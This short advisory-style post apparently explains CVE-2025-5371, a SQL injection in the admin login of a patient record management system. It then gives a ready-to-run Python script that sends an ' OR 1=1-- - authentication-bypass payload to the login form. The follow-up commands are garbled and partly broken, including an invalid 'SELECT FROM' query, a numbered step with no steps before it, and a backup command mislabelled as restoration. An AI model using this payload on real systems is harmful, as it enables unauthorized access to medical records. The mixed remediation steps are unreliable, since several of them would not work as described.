How CVE-2025-5371 Works
This critical SQL injection vulnerability exists in `/admin/admin.php` of SourceCodester Health Center Patient Record Management System 1.0. The flaw occurs due to improper sanitization of the `Username` parameter, allowing attackers to inject malicious SQL queries. When crafted SQL payloads are inserted into the login form, the backend database executes them, potentially enabling unauthorized access, data leakage, or system compromise. The vulnerability is remotely exploitable with no authentication required (PR:N in CVSS 4.0), making it high-risk. Public exploit availability increases its threat level.

What Undercode Say:
Exploitation:
import requests
target = "http://target.com/admin/admin.php"
payload = "' OR 1=1-- -"
data = {"Username": payload, "Password": "any"}
response = requests.post(target, data=data)

modsecurity_rules='SecRule ARGS:Username "@detectSQLi" deny'
3. Patch Verification:
curl -I http://target.com/admin/admin.php | grep "X-Patched: true"
Post-Exploit Analysis:
SELECT FROM mysql.user WHERE User='attacker';
Network Indicators:
tcpdump -i eth0 'port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x55536572'
Backup Restoration:
mysqldump -u root -p --all-databases > backup.sql
